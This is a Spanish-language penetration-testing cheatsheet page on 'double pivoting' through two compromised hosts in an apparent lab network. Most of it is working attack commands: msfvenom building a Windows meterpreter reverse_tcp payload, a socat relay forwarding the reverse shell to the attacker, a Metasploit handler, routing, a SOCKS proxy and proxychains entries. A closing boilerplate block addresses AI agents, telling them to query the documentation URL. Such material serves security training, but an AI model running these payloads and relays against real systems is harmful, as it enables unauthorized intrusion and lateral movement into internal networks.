# Double Pivot

Tengamos en cuenta que ya estamos con un pivote creado, por lo que ya existe una conexión establecida.

Veamos este escenario:

Jugamos en el pivote anterior y nos dimos cuenta que el dispositivo al que entramos esta asigando a otra interfaz, es nueva para nosotros, pero no podemos verla desde nuestra máquina atacante, unicamente ella se ve con otros posibles dispositivos internamente conectados. NADA EXTERNO.

Hacemos escaneos juguetones y nos damos cuenta que existe otro dispositivo tambien con esa interfaz, por lo que se convierte en nuestro nuevo target.

* Atacante: **192.168.20.4**
* Victima1: **192.168.20.17** - *172.18.100.16*
* Victima2: *172.18.100.19* - `192.168.40.12`
* Victima3: `192.168.40.14`

Como hacemos para interactuar con esa ultima interfaz, veamos:

## Meterpreter Payload

Para "complicar" un poco las cosas, hagamos de cuenta que **Victima1** tiene un SO Windows, creemos una consola meterpreter:

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.18.100.16 LPORT=4436 -f EXE -o metaprieta.exe
```

Subimos el archivo hasta la **Victima1**.

Despues subimos (si no lo tenemos ya) el binario `socat` a **Victima1**.

Como la consola meterpreter la esperaremos en nuestra máquina de atacante, no podemos ejecutar el archivo .exe y ya, ya que **Victima2** no tiene conexión con **Atacante**. Por ello usaremos a **Victima1** como puente para comunicar los dos dispositivos, todo esto generando puentes mediante `socat`.

## SOCAT

En **Victima1** indicamos que toda conexión que llegue contra el puerto 4436 la redirija hacia **Atacante** contra ese mismo puerto:

```bash
socat TCP-LISTEN:4436,fork TCP:192.168.20.4:4436
```

Antes de ejecutar el `.exe` debemos generar la escucha del meterpreter, usamos la consola de metasploit que ya tenemos:

## Meterpreter Shell

```bash
use /multi/handler
options
set LHOST 192.168.20.4
set LPORT 4436
set payload windows/meterpreter/reverse_tcp
run
```

Ejecutamos `.exe` y deberiamos obtener la reverse shell (:

## Routing

Para generar un tunel socks, practicamente es lo mismo que antes, enrutamos y generamos puente.

```bash
ipconfig
# Tomamos la IP a la cual queremos enrutar, Victima2 tiene 192.168.40.12,
#   esa se comunica con Victima3 (192.168.40.14), así que es la que necesitamos.
CTRL^z
# para enviar la tarea a segundo plano
Background session 3? [y/N] (le decimos: y)
```

```bash
route add 192.168.40.12 255.255.255.0 3
```

Y casi listo.

## SOCKS

Simplemente cambiamos el puerto donde residira el tunel:

```bash
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 2222
set VERSION 5
run
```

## Proxychains

Evitamos el final del archivo y agregamos el nuevo tunel:

```bash
cat /etc/proxychains.conf
...
socks5 127.0.0.1 1111
socks5 127.0.0.1 2222
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lanzt.gitbook.io/cheatsheet-pentest/pivoting/metasploit/double-pivot.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
